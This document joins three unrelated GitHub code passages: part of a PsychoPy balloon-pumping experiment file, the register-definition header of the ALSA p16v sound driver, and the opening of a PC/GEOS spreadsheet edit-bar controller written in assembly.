<Param name="letterHeight" val="0.1" valType="code" updates="constant"/>
<Param name="name" val="bankedMsg" valType="code" updates="constant"/>
<Param name="opacity" val="1" valType="code" updates="constant"/>
<Param name="ori" val="0" valType="code" updates="constant"/>
<Param name="pos" val="[0, 0.8]" valType="code" updates="constant"/>
<Param name="saveStartStop" val="True" valType="bool" updates="None"/>
<Param name="startEstim" val="" valType="code" updates="None"/>
<Param name="startType" val="time (s)" valType="str" updates="None"/>
<Param name="startVal" val="0.0" valType="code" updates="None"/>
<Param name="stopType" val="duration (s)" valType="str" updates="None"/>
<Param name="stopVal" val="" valType="code" updates="constant"/>
<Param name="syncScreenRefresh" val="True" valType="bool" updates="None"/>
<Param name="text" val="$u"You have banked:\n£%.2f" %bankedEarnings" valType="str" updates="set every frame"/>
<Param name="units" val="from exp settings" valType="str" updates="None"/>
<Param name="wrapWidth" val="" valType="code" updates="constant"/>
</TextComponent>
<CodeComponent name="checkKeys">
<Param name="Before Experiment" val="# This code will run before the experiment window is opened, after importing all of the necessary packages &#10;&#10;" valType="extendedCode" updates="constant"/>
<Param name="Before JS Experiment" val="" valType="extendedCode" updates="constant"/>
<Param name="Begin Experiment" val="" valType="extendedCode" updates="constant"/>
<Param name="Begin JS Experiment" val="" valType="extendedCode" updates="constant"/>
<Param name="Begin JS Routine" val="" valType="extendedCode" updates="constant"/>
<Param name="Begin Routine" val="" valType="extendedCode" updates="constant"/>
<Param name="Code Type" val="Py" valType="str" updates="None"/>
<Param name="Each Frame" val="if event.getKeys(['space']):&#10; nPumps=nPumps+1&#10; if nPumps>maxPumps:&#10; popped=True&#10; continueRoutine=False" valType="extendedCode" updates="constant"/>
<Param name="Each JS Frame" val="" valType="extendedCode" updates="constant"/>
<Param name="End Experiment" val="" valType="extendedCode" updates="constant"/>
<Param name="End JS Experiment" val="" valType="extendedCode" updates="constant"/>
<Param name="End JS Routine" val="" valType="extendedCode" updates="constant"/>
<Param name="End Routine" val="" valType="extendedCode" updates="constant"/>
<Param name="disabled" val="False" valType="bool" updates="None"/>
<Param name="name" val="checkKeys" valType="code" updates="None"/>
</CodeComponent>
<KeyboardComponent name="bankButton">
<Param name="allowedKeys" val="'return'" valType="code" updates="constant"/>
<Param name="correctAns" val="" valType="str" updates="constant"/>
<Param name="disabled" val="False" valType="bool" updates="None"/>
<Param name="discard previous" val="True" valType="bool" updates="constant"/>
<Param name="durationEstim" val="" valType="code" updates="None"/>
<Param name="forceEndRoutine" val="True" valType="bool" updates="constant"/>
<Param name="name" val="bankButton" valType="code" updates="None"/>
<Param name="saveStartStop" val="True" valType="bool" updates="None"/>
<Param name="startEstim" val="" valType="code" updates="None"/>
<Param name="startType" val="time (s)" valType="str" updates="None"/>
<Param name="startVal" val="0.0" valType="code" updates="None"/>
<Param name="stopType" val="duration (s)" valType="str" updates="None"/>
<Param name="stopVal" val="" valType="code" updates="constant"/>
<Param name="store" val="nothing" valType="str" updates="constant"/>
<Param name="storeCorrect" val="False" valType="bool" updates="constant"/>
<Param name="syncScreenRefresh" val="True" valType="bool" updates="constant"/>
</KeyboardComponent>
</Routine>
<Routine name="finalScore">
<TextComponent name="finalScore_2">
<Param name="color" val="white" valType="str" updates="constant"/>
<Param name="colorSpace" val="rgb" valType="str" updates="constant"/>
<Param name="disabled" val="False" valType="bool" updates="None"/>
<Param name="durationEstim" val="" valType="code" updates="None"/>
<Param name="flip" val="" valType="str" updates="constant"/>
<Param name="font" val="Arial" valType="str" updates="constant"/>
<Param name="languageStyle" val="LTR" valType="str" updates="None"/>
<Param name="letterHeight" val="0.1" valType="code" updates="constant"/>
<Param name="name" val="finalScore_2" valType="code" updates="constant"/>
<Param name="opacity" val="1" valType="code" updates="constant"/>
<Param name="ori" val="0" valType="code" updates="constant"/>
<Param name="pos" val="[0, 0]" valType="code" updates="constant"/>
<Param name="saveStartStop" val="True" valType="bool" updates="None"/>
<Param name="startEstim" val="" valType="code" updates="None"/>
<Param name="startType" val="time (s)" valType="str" updates="None"/>
<Param name="startVal" val="0.0" valType="code" updates="None"/>
<Param name="stopType" val="duration (s)" valType="str" updates="None"/>
<Param name="stopVal" val="" valType="code" updates="constant"/>
<Param name="syncScreenRefresh" val="True" valType="bool" updates="None"/>
<Param name="text" val="$u"Well done! You banked a total of\n£%2.f" %bankedEarnings" valType="str" updates="set every repeat"/>
<Param name="units" val="from exp settings" valType="str" updates="None"/>
<Param name="wrapWidth" val="" valType="code" updates="constant"/>
</TextComponent>
<KeyboardComponent name="doneKey">
<Param name="allowedKeys" val="" valType="code" updates="constant"/>
<Param name="correctAns" val="" valType="str" updates="constant"/>
<Param name="disabled" val="False" valType="bool" updates="None"/>
<Param name="discard previous" val="True" valType="bool" updates="constant"/>
<Param name="durationEstim" val="" valType="code" updates="None"/>
<Param name="forceEndRoutine" val="True" valType="bool" updates="constant"/>
<Param name="name" val="doneKey" valType="code" updates="None"/>
<Param name="saveStartStop" val="True" valType="bool" updates="None"/>
<Param name="startEstim" val="" valType="code" updates="None"/>
<Param name="startType" val="time (s)" valType="str" updates="None"/>
<Param name="startVal" val="0.0" valType="code" updates="None"/>
<Param name="stopType" val="duration (s)" valType="str" updates="None"/>
<Param name="stopVal" val="" valType="code" updates="constant"/>
<Param name="store" val="last key" valType="str" updates="constant"/>
<Param name="storeCorrect" val="False" valType="bool" updates="constant"/>
<Param name="syncScreenRefresh" val="True" valType="bool" updates="constant"/>
</KeyboardComponent>
</Routine>
<Routine name="feedback">
<CodeComponent name="checkPopped">
<Param name="Before Experiment" val="# This code will run before the experiment window is opened, after importing all of the necessary packages &#10;&#10;" valType="extendedCode" updates="constant"/>
<Param name="Before JS Experiment" val="" valType="extendedCode" updates="constant"/>
<Param name="Begin Experiment" val="feedbackText=""&#10;from psychopy import sound&#10;bang = sound.Sound("bang.wav")&#10;" valType="extendedCode" updates="constant"/>
<Param name="Begin JS Experiment" val="" valType="extendedCode" updates="constant"/>
<Param name="Begin JS Routine" val="" valType="extendedCode" updates="constant"/>
<Param name="Begin Routine" val="if popped==True:&#10; feedbackText="Oops! Lost that one!"&#10; bang.play()&#10;else:&#10; feedbackText=u"You banked £%.2f" %lastBalloonEarnings&#10;" valType="extendedCode" updates="constant"/>
<Param name="Code Type" val="Py" valType="str" updates="None"/>
<Param name="Each Frame" val="" valType="extendedCode" updates="constant"/>
<Param name="Each JS Frame" val="" valType="extendedCode" updates="constant"/>
<Param name="End Experiment" val="" valType="extendedCode" updates="constant"/>
<Param name="End JS Experiment" val="" valType="extendedCode" updates="constant"/>
<Param name="End JS Routine" val="" valType="extendedCode" updates="constant"/>
<Param name="End Routine" val="" valType="extendedCode" updates="constant"/>
<Param name="disabled" val="False" valType="bool" updates="None"/>
<Param name="name" val="checkPopped" valType="code" updates="None"/>
</CodeComponent>
<TextComponent name="feedbackMsg">
<Param name="color" val="white" valType="str" updates="constant"/>
<Param name="colorSpace" val="rgb" valType="str" updates="constant"/>
<Param name="disabled" val="False" valType="bool" updates="None"/>
<Param name="durationEstim" val="" valType="code" updates="None"/>
<Param name="flip" val="" valType="str" updates="constant"/>
<Param name="font" val="Arial" valType="str" updates="constant"/>
<Param name="languageStyle" val="LTR" valType="str" updates="None"/>
<Param name="letterHeight" val="0.1" valType="code" updates="constant"/>
<Param name="name" val="feedbackMsg" valType="code" updates="constant"/>
<Param name="opacity" val="1" valType="code" updates="constant"/>
<Param name="ori" val="0" valType="code" updates="constant"/>
<Param name="pos" val="[0, 0]" valType="code" updates="constant"/>
<Param name="saveStartStop" val="True" valType="bool" updates="None"/>
<Param name="startEstim" val="" valType="code" updates="None"/>
<Param name="startType" val="time (s)" valType="str" updates="None"/>
<Param name="startVal" val="0.0" valType="code" updates="None"/>
<Param name="stopType" val="duration (s)" valType="str" updates="None"/>
<Param name="stopVal" val="1.5" valType="code" updates="constant"/>
<Param name="syncScreenRefresh" val="True" valType="bool" updates="None"/>
<Param name="text" val="$feedbackText" valType="str" updates="set every repeat"/>
<Param name="units" val="from exp settings" valType="str" updates="None"/>
<Param name="wrapWidth" val="" valType="code" updates="constant"/>
</TextComponent>
</Routine>
<Routine name="instructions">
<TextComponent name="instrMessage">
<Param name="color" val="white" valType="str" updates="constant"/>
<Param name="colorSpace" val="rgb" valType="str" updates="constant"/>
<Param name="disabled" val="False" valType="bool" updates="None"/>
<Param name="durationEstim" val="" valType="code" updates="None"/>
<Param name="flip" val="" valType="str" updates="constant"/>
<Param name="font" val="Arial" valType="str" updates="constant"/>
<Param name="languageStyle" val="LTR" valType="str" updates="None"/>
<Param name="letterHeight" val="0.05" valType="code" updates="constant"/>
<Param name="name" val="instrMessage" valType="code" updates="constant"/>
<Param name="opacity" val="1" valType="code" updates="constant"/>
<Param name="ori" val="0" valType="code" updates="constant"/>
<Param name="pos" val="[0, 0]" valType="code" updates="constant"/>
<Param name="saveStartStop" val="True" valType="bool" updates="None"/>
<Param name="startEstim" val="" valType="code" updates="None"/>
<Param name="startType" val="time (s)" valType="str" updates="None"/>
<Param name="startVal" val="0.0" valType="code" updates="None"/>
<Param name="stopType" val="duration (s)" valType="str" updates="None"/>
<Param name="stopVal" val="" valType="code" updates="constant"/>
<Param name="syncScreenRefresh" val="True" valType="bool" updates="None"/>
<Param name="text" val="This is a game where you have to optimise your earnings in a balloon pumping competition.&#10;&#10;You get prize money for each balloon you pump up, according to its size. But if you pump it too far it will pop and you'll get nothing for that balloon.&#10;&#10;Balloons differ in their maximum size - they can occasionally reach to almost the size of the screen but most will pop well before that.&#10;&#10;Press;&#10; SPACE to pump the balloon&#10; RETURN to bank the cash for this balloon and move onto the next&#10;" valType="str" updates="constant"/>
<Param name="units" val="from exp settings" valType="str" updates="None"/>
<Param name="wrapWidth" val="" valType="code" updates="constant"/>
</TextComponent>
<KeyboardComponent name="resp">
<Param name="allowedKeys" val="" valType="code" updates="constant"/>
<Param name="correctAns" val="" valType="str" updates="constant"/>
<Param name="disabled" val="False" valType="bool" updates="None"/>
<Param name="discard previous" val="True" valType="bool" updates="constant"/>
<Param name="durationEstim" val="" valType="code" updates="None"/>
<Param name="forceEndRoutine" val="True" valType="bool" updates="constant"/>
<Param name="name" val="resp" valType="code" updates="None"/>
<Param name="saveStartStop" val="True" valType="bool" updates="None"/>
<Param name="startEstim" val="" valType="code" updates="None"/>
<Param name="startType" val="time (s)" valType="str" updates="None"/>
<Param name="startVal" val="0.0" valType="code" updates="None"/>
<Param name="stopType" val="duration (s)" valType="str" updates="None"/>
<Param name="stopVal" val="" valType="code" updates="constant"/>
<Param name="store" val="last key" valType="str" updates="constant"/>
<Param name="storeCorrect" val="False" valType="bool" updates="constant"/>
<Param name="syncScreenRefresh" val="True" valType="bool" updates="constant"/>
</KeyboardComponent>
</Routine>
</Routines>
<Flow>
<Routine name="instructions"/>
<LoopInitiator loopType="TrialHandler" name="trials">
<Param name="Selected rows" val="" valType="str" updates="None"/>
<Param name="conditions" val="[{'imageFile': 'blueBalloon.png', 'maxPumps': 2}, {'imageFile': 'blueBalloon.png', 'maxPumps': 8}, {'imageFile': 'blueBalloon.png', 'maxPumps': 14}, {'imageFile': 'blueBalloon.png', 'maxPumps': 20}, {'imageFile': 'blueBalloon.png', 'maxPumps': 26}, {'imageFile': 'blueBalloon.png', 'maxPumps': 32}, {'imageFile': 'blueBalloon.png', 'maxPumps': 38}, {'imageFile': 'blueBalloon.png', 'maxPumps': 44}, {'imageFile': 'blueBalloon.png', 'maxPumps': 50}, {'imageFile': 'blueBalloon.png', 'maxPumps': 56}, {'imageFile': 'blueBalloon.png', 'maxPumps': 62}, {'imageFile': 'blueBalloon.png', 'maxPumps': 68}, {'imageFile': 'blueBalloon.png', 'maxPumps': 74}, {'imageFile': 'blueBalloon.png', 'maxPumps': 80}, {'imageFile': 'blueBalloon.png', 'maxPumps': 86}, {'imageFile': 'blueBalloon.png', 'maxPumps': 92}, {'imageFile': 'blueBalloon.png', 'maxPumps': 98}, {'imageFile': 'blueBalloon.png', 'maxPumps': 104}, {'imageFile': 'blueBalloon.png', 'maxPumps': 110}, {'imageFile': 'blueBalloon.png', 'maxPumps': 116}]" valType="str" updates="None"/>
<Param name="conditionsFile" val="trialTypes.xlsx" valType="str" updates="None"/>
<Param name="endPoints" val="[0, 1]" valType="num" updates="None"/>
<Param name="isTrials" val="True" valType="bool" updates="None"/>
<Param name="loopType" val="random" valType="str" updates="None"/>
<Param name="nReps" val="1" valType="num" updates="None"/>
<Param name="name" val="trials" valType="code" updates="None"/>
<Param name="random seed" val="1832" valType="code" updates="None"/>
</LoopInitiator>
<Routine name="trial"/>
<Routine name="feedback"/>
<LoopTerminator name="trials"/>
<Routine name="finalScore"/>
</Flow>
</PsychoPy2experiment>
| {
"pile_set_name": "Github"
} |
/*
* Copyright (c) by James Courtier-Dutton <[email protected]>
* Driver p16v chips
* Version: 0.21
*
* FEATURES currently supported:
* Output fixed at S32_LE, 2 channel to hw:0,0
* Rates: 44.1, 48, 96, 192.
*
* Changelog:
* 0.8
* Use separate card based buffer for periods table.
* 0.9
* Use 2 channel output streams instead of 8 channel.
* (8 channel output streams might be good for ASIO type output)
* Corrected speaker output, so Front -> Front etc.
* 0.10
* Fixed missed interrupts.
* 0.11
* Add Sound card model number and names.
* Add Analog volume controls.
* 0.12
* Corrected playback interrupts. Now interrupt per period, instead of half period.
* 0.13
* Use single trigger for multichannel.
* 0.14
* Mic capture now works at fixed: S32_LE, 96000Hz, Stereo.
* 0.15
* Force buffer_size / period_size == INTEGER.
* 0.16
* Update p16v.c to work with changed alsa api.
* 0.17
* Update p16v.c to work with changed alsa api. Removed boot_devs.
* 0.18
* Merging with snd-emu10k1 driver.
* 0.19
* One stereo channel at 24bit now works.
* 0.20
* Added better register defines.
* 0.21
* Split from p16v.c
*
*
* BUGS:
* Some stability problems when unloading the snd-p16v kernel module.
* --
*
* TODO:
* SPDIF out.
* Find out how to change capture sample rates. E.g. To record SPDIF at 48000Hz.
* Currently capture fixed at 48000Hz.
*
* --
* GENERAL INFO:
* Model: SB0240
* P16V Chip: CA0151-DBS
* Audigy 2 Chip: CA0102-IAT
* AC97 Codec: STAC 9721
* ADC: Philips 1361T (Stereo 24bit)
* DAC: CS4382-K (8-channel, 24bit, 192Khz)
*
* This code was initially based on code from ALSA's emu10k1x.c which is:
* Copyright (c) by Francisco Moraes <[email protected]>
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
*
*/
/********************************************************************************************************/
/* Audigy2 P16V pointer-offset register set, accessed through the PTR2 and DATA2 registers */
/********************************************************************************************************/
/* The sample rate of the SPDIF outputs is set by modifying a register in the EMU10K2 PTR register A_SPDIF_SAMPLERATE.
* The sample rate is also controlled by the same registers that control the rate of the EMU10K2 sample rate converters.
*/
/* Initially all registers from 0x00 to 0x3f have zero contents. */
#define PLAYBACK_LIST_ADDR 0x00 /* Base DMA address of a list of pointers to each period/size */
/* One list entry: 4 bytes for DMA address,
* 4 bytes for period_size << 16.
* One list entry is 8 bytes long.
* One list entry for each period in the buffer.
*/
#define PLAYBACK_LIST_SIZE 0x01 /* Size of list in bytes << 16. E.g. 8 periods -> 0x00380000 */
#define PLAYBACK_LIST_PTR 0x02 /* Pointer to the current period being played */
#define PLAYBACK_UNKNOWN3 0x03 /* Not used */
#define PLAYBACK_DMA_ADDR 0x04 /* Playback DMA address */
#define PLAYBACK_PERIOD_SIZE 0x05 /* Playback period size. win2000 uses 0x04000000 */
#define PLAYBACK_POINTER 0x06 /* Playback period pointer. Used with PLAYBACK_LIST_PTR to determine buffer position currently in DAC */
#define PLAYBACK_FIFO_END_ADDRESS 0x07 /* Playback FIFO end address */
#define PLAYBACK_FIFO_POINTER 0x08 /* Playback FIFO pointer and number of valid sound samples in cache */
#define PLAYBACK_UNKNOWN9 0x09 /* Not used */
#define CAPTURE_DMA_ADDR 0x10 /* Capture DMA address */
#define CAPTURE_BUFFER_SIZE 0x11 /* Capture buffer size */
#define CAPTURE_POINTER 0x12 /* Capture buffer pointer. Sample currently in ADC */
#define CAPTURE_FIFO_POINTER 0x13 /* Capture FIFO pointer and number of valid sound samples in cache */
#define CAPTURE_P16V_VOLUME1 0x14 /* Low: Capture volume 0xXXXX3030 */
#define CAPTURE_P16V_VOLUME2 0x15 /* High:Has no effect on capture volume */
#define CAPTURE_P16V_SOURCE 0x16 /* P16V source select. Set to 0x0700E4E5 for AC97 CAPTURE */
/* [0:1] Capture input 0 channel select. 0 = Capture output 0.
* 1 = Capture output 1.
* 2 = Capture output 2.
* 3 = Capture output 3.
* [3:2] Capture input 1 channel select. 0 = Capture output 0.
* 1 = Capture output 1.
* 2 = Capture output 2.
* 3 = Capture output 3.
* [5:4] Capture input 2 channel select. 0 = Capture output 0.
* 1 = Capture output 1.
* 2 = Capture output 2.
* 3 = Capture output 3.
* [7:6] Capture input 3 channel select. 0 = Capture output 0.
* 1 = Capture output 1.
* 2 = Capture output 2.
* 3 = Capture output 3.
* [9:8] Playback input 0 channel select. 0 = Play output 0.
* 1 = Play output 1.
* 2 = Play output 2.
* 3 = Play output 3.
* [11:10] Playback input 1 channel select. 0 = Play output 0.
* 1 = Play output 1.
* 2 = Play output 2.
* 3 = Play output 3.
* [13:12] Playback input 2 channel select. 0 = Play output 0.
* 1 = Play output 1.
* 2 = Play output 2.
* 3 = Play output 3.
* [15:14] Playback input 3 channel select. 0 = Play output 0.
* 1 = Play output 1.
* 2 = Play output 2.
* 3 = Play output 3.
* [19:16] Playback mixer output enable. 1 bit per channel.
* [23:20] Capture mixer output enable. 1 bit per channel.
* [26:24] FX engine channel capture 0 = 0x60-0x67.
* 1 = 0x68-0x6f.
* 2 = 0x70-0x77.
* 3 = 0x78-0x7f.
* 4 = 0x80-0x87.
* 5 = 0x88-0x8f.
* 6 = 0x90-0x97.
* 7 = 0x98-0x9f.
* [31:27] Not used.
*/
/* 0x1 = capture on.
* 0x100 = capture off.
* 0x200 = capture off.
* 0x1000 = capture off.
*/
#define CAPTURE_RATE_STATUS 0x17 /* Capture sample rate. Read only */
/* [15:0] Not used.
* [18:16] Channel 0 Detected sample rate. 0 - 44.1khz
* 1 - 48 khz
* 2 - 96 khz
* 3 - 192 khz
* 7 - undefined rate.
* [19] Channel 0. 1 - Valid, 0 - Not Valid.
* [22:20] Channel 1 Detected sample rate.
* [23] Channel 1. 1 - Valid, 0 - Not Valid.
* [26:24] Channel 2 Detected sample rate.
* [27] Channel 2. 1 - Valid, 0 - Not Valid.
* [30:28] Channel 3 Detected sample rate.
* [31] Channel 3. 1 - Valid, 0 - Not Valid.
*/
/* 0x18 - 0x1f unused */
#define PLAYBACK_LAST_SAMPLE 0x20 /* The sample currently being played. Read only */
/* 0x21 - 0x3f unused */
#define BASIC_INTERRUPT 0x40 /* Used by both playback and capture interrupt handler */
/* Playback (0x1<<channel_id) Don't touch high 16bits. */
/* Capture (0x100<<channel_id). not tested */
/* Start Playback [3:0] (one bit per channel)
* Start Capture [11:8] (one bit per channel)
* Record source select for channel 0 [18:16]
* Record source select for channel 1 [22:20]
* Record source select for channel 2 [26:24]
* Record source select for channel 3 [30:28]
* 0 - SPDIF channel.
* 1 - I2S channel.
* 2 - SRC48 channel.
* 3 - SRCMulti_SPDIF channel.
* 4 - SRCMulti_I2S channel.
* 5 - SPDIF channel.
* 6 - fxengine capture.
* 7 - AC97 capture.
*/
/* Default 41110000.
* Writing 0xffffffff hangs the PC.
* Writing 0xffff0000 -> 77770000 so it must be some sort of route.
* bit 0x1 starts DMA playback on channel_id 0
*/
/* 0x41,42 take values from 0 - 0xffffffff, but have no effect on playback */
/* 0x43,0x48 do not remember settings */
/* 0x41-45 unused */
#define WATERMARK 0x46 /* Test bit to indicate cache level usage */
/* Values it can have while playing on channel 0.
* 0000f000, 0000f004, 0000f008, 0000f00c.
* Readonly.
*/
/* 0x47-0x4f unused */
/* 0x50-0x5f Capture cache data */
#define SRCSel 0x60 /* SRCSel. Default 0x4. Bypass P16V 0x14 */
/* [0] 0 = 10K2 audio, 1 = SRC48 mixer output.
* [2] 0 = 10K2 audio, 1 = SRCMulti SPDIF mixer output.
* [4] 0 = 10K2 audio, 1 = SRCMulti I2S mixer output.
*/
/* SRC48 converts samples rates 44.1, 48, 96, 192 to 48 khz. */
/* SRCMulti converts 48khz samples rates to 44.1, 48, 96, 192 to 48. */
/* SRC48 and SRCMULTI sample rate select and output select. */
/* 0xffffffff -> 0xC0000015
* 0xXXXXXXX4 = Enable Front Left/Right
* Enable PCMs
*/
/* 0x61 -> 0x6c are Volume controls */
#define PLAYBACK_VOLUME_MIXER1 0x61 /* SRC48 Low to mixer input volume control. */
#define PLAYBACK_VOLUME_MIXER2 0x62 /* SRC48 High to mixer input volume control. */
#define PLAYBACK_VOLUME_MIXER3 0x63 /* SRCMULTI SPDIF Low to mixer input volume control. */
#define PLAYBACK_VOLUME_MIXER4 0x64 /* SRCMULTI SPDIF High to mixer input volume control. */
#define PLAYBACK_VOLUME_MIXER5 0x65 /* SRCMULTI I2S Low to mixer input volume control. */
#define PLAYBACK_VOLUME_MIXER6 0x66 /* SRCMULTI I2S High to mixer input volume control. */
#define PLAYBACK_VOLUME_MIXER7 0x67 /* P16V Low to SRCMULTI SPDIF mixer input volume control. */
#define PLAYBACK_VOLUME_MIXER8 0x68 /* P16V High to SRCMULTI SPDIF mixer input volume control. */
#define PLAYBACK_VOLUME_MIXER9 0x69 /* P16V Low to SRCMULTI I2S mixer input volume control. */
/* 0xXXXX3030 = PCM0 Volume (Front).
* 0x3030XXXX = PCM1 Volume (Center)
*/
#define PLAYBACK_VOLUME_MIXER10 0x6a /* P16V High to SRCMULTI I2S mixer input volume control. */
/* 0x3030XXXX = PCM3 Volume (Rear). */
#define PLAYBACK_VOLUME_MIXER11 0x6b /* E10K2 Low to SRC48 mixer input volume control. */
#define PLAYBACK_VOLUME_MIXER12 0x6c /* E10K2 High to SRC48 mixer input volume control. */
#define SRC48_ENABLE 0x6d /* SRC48 input audio enable */
/* SRC48 converts samples rates 44.1, 48, 96, 192 to 48 khz. */
/* [23:16] The corresponding P16V channel to SRC48 enabled if == 1.
* [31:24] The corresponding E10K2 channel to SRC48 enabled.
*/
#define SRCMULTI_ENABLE 0x6e /* SRCMulti input audio enable. Default 0xffffffff */
/* SRCMulti converts 48khz samples rates to 44.1, 48, 96, 192 to 48. */
/* [7:0] The corresponding P16V channel to SRCMulti_I2S enabled if == 1.
* [15:8] The corresponding E10K2 channel to SRCMulti I2S enabled.
* [23:16] The corresponding P16V channel to SRCMulti SPDIF enabled.
* [31:24] The corresponding E10K2 channel to SRCMulti SPDIF enabled.
*/
/* Bypass P16V 0xff00ff00
* Bitmap. 0 = Off, 1 = On.
* P16V playback outputs:
* 0xXXXXXXX1 = PCM0 Left. (Front)
* 0xXXXXXXX2 = PCM0 Right.
* 0xXXXXXXX4 = PCM1 Left. (Center/LFE)
* 0xXXXXXXX8 = PCM1 Right.
* 0xXXXXXX1X = PCM2 Left. (Unknown)
* 0xXXXXXX2X = PCM2 Right.
* 0xXXXXXX4X = PCM3 Left. (Rear)
* 0xXXXXXX8X = PCM3 Right.
*/
#define AUDIO_OUT_ENABLE 0x6f /* Default: 000100FF */
/* [3:0] Does something, but not documented. Probably capture enable.
* [7:4] Playback channels enable. not documented.
* [16] AC97 output enable if == 1
* [30] 0 = SRCMulti_I2S input from fxengine 0x68-0x6f.
* 1 = SRCMulti_I2S input from SRC48 output.
* [31] 0 = SRCMulti_SPDIF input from fxengine 0x60-0x67.
* 1 = SRCMulti_SPDIF input from SRC48 output.
*/
/* 0xffffffff -> C00100FF */
/* 0 -> Not playback sound, irq still running */
/* 0xXXXXXX10 = PCM0 Left/Right On. (Front)
* 0xXXXXXX20 = PCM1 Left/Right On. (Center/LFE)
* 0xXXXXXX40 = PCM2 Left/Right On. (Unknown)
* 0xXXXXXX80 = PCM3 Left/Right On. (Rear)
*/
#define PLAYBACK_SPDIF_SELECT 0x70 /* Default: 12030F00 */
/* 0xffffffff -> 3FF30FFF */
/* 0x00000001 pauses stream/irq fail. */
/* All other bits do not effect playback */
#define PLAYBACK_SPDIF_SRC_SELECT 0x71 /* Default: 0000E4E4 */
/* 0xffffffff -> F33FFFFF */
/* All bits do not effect playback */
#define PLAYBACK_SPDIF_USER_DATA0 0x72 /* SPDIF out user data 0 */
#define PLAYBACK_SPDIF_USER_DATA1 0x73 /* SPDIF out user data 1 */
/* 0x74-0x75 unknown */
#define CAPTURE_SPDIF_CONTROL 0x76 /* SPDIF in control setting */
#define CAPTURE_SPDIF_STATUS 0x77 /* SPDIF in status */
#define CAPURE_SPDIF_USER_DATA0 0x78 /* SPDIF in user data 0 */
#define CAPURE_SPDIF_USER_DATA1 0x79 /* SPDIF in user data 1 */
#define CAPURE_SPDIF_USER_DATA2 0x7a /* SPDIF in user data 2 */
| {
"pile_set_name": "Github"
} |
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
Copyright (c) GeoWorks 1992 -- All Rights Reserved
PROJECT: PC/GEOS
MODULE: uiEditBar.asm
FILE: uiEditBar.asm
AUTHOR: Gene Anderson, May 12, 1992
ROUTINES:
Name Description
---- -----------
REVISION HISTORY:
Name Date Description
---- ---- -----------
Gene 5/12/92 Initial revision
DESCRIPTION:
$Id: uiEditBar.asm,v 1.1 97/04/07 11:12:13 newdeal Exp $
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
;---------------------------------------------------
SpreadsheetClassStructures segment resource
SSEditBarControlClass
EBCEditBarClass
SpreadsheetClassStructures ends
;---------------------------------------------------
EditBarControlCode segment resource
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
EBCGetInfo
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Get information about the EditBarControl
CALLED BY: MSG_GEN_CONTROL_GET_INFO
PASS: *ds:si - instance data
ds:di - *ds:si
es - seg addr of SSEditBarControlClass
ax - the message
RETURN:
DESTROYED: bx, si, di, ds, es (method handler)
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
eca 5/12/92 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
EBCGetInfo method dynamic SSEditBarControlClass, \
MSG_GEN_CONTROL_GET_INFO
mov si, offset EBC_dupInfo
FALL_THRU CopyDupInfoCommon
EBCGetInfo endm
CopyDupInfoCommon proc far
EC < push bp, ax ;>
EC < mov bp, sp ;>
EC < mov ax, cs ;ax <- our segment >
EC < cmp ss:[bp][4].segment, ax ;4 is for saved regs >
EC < ERROR_NE CONTROLLER_UTILITY_ROUTINE_MUST_BE_CALLED_FROM_SAME_SEGMENT >
EC < pop bp, ax ;>
mov es, cx
mov di, dx ;es:di = dest
segmov ds, cs
mov cx, size GenControlBuildInfo
rep movsb
ret
CopyDupInfoCommon endp
EBC_dupInfo GenControlBuildInfo <
mask GCBF_SUSPEND_ON_APPLY or mask GCBF_EXPAND_TOOL_WIDTH_TO_FIT_PARENT,
; GCBI_flags
EBC_IniFileKey, ; GCBI_initFileKey
EBC_gcnList, ; GCBI_gcnList
length EBC_gcnList, ; GCBI_gcnCount
EBC_notifyTypeList, ; GCBI_notificationList
length EBC_notifyTypeList, ; GCBI_notificationCount
EBCName, ; GCBI_controllerName
handle EditBarControlUI, ; GCBI_dupBlock
EBC_childList, ; GCBI_childList
length EBC_childList, ; GCBI_childCount
EBC_featuresList, ; GCBI_featuresList
length EBC_featuresList, ; GCBI_featuresCount
SSEBC_DEFAULT_FEATURES, ; GCBI_features
handle EditBarControlToolUI, ; GCBI_toolBlock
EBC_toolList, ; GCBI_toolList
length EBC_toolList, ; GCBI_toolCount
EBC_toolFeaturesList, ; GCBI_toolFeaturesList
length EBC_toolFeaturesList, ; GCBI_toolFeaturesCount
SSEBC_DEFAULT_TOOLBOX_FEATURES> ; GCBI_toolFeatures
if FULL_EXECUTE_IN_PLACE
SpreadsheetControlInfoXIP segment resource
endif
EBC_IniFileKey char "editbar", 0
EBC_gcnList GCNListType \
<MANUFACTURER_ID_GEOWORKS, GAGCNLT_APP_TARGET_NOTIFY_SPREADSHEET_ACTIVE_CELL_CHANGE>,
<MANUFACTURER_ID_GEOWORKS, GAGCNLT_APP_TARGET_NOTIFY_SPREADSHEET_EDIT_BAR_CHANGE>
EBC_notifyTypeList NotificationType \
<MANUFACTURER_ID_GEOWORKS, GWNT_SPREADSHEET_ACTIVE_CELL_CHANGE>,
<MANUFACTURER_ID_GEOWORKS, GWNT_SPREADSHEET_EDIT_BAR_CHANGE>
;---
EBC_childList GenControlChildInfo \
<offset GotoDB, mask SSEBCF_GOTO_CELL, mask GCCF_IS_DIRECTLY_A_FEATURE>
; Careful, this table is in the *opposite* order as the record which
; it corresponds to.
EBC_featuresList GenControlFeaturesInfo \
<offset GotoDB, GotoDBName, 0>
;---
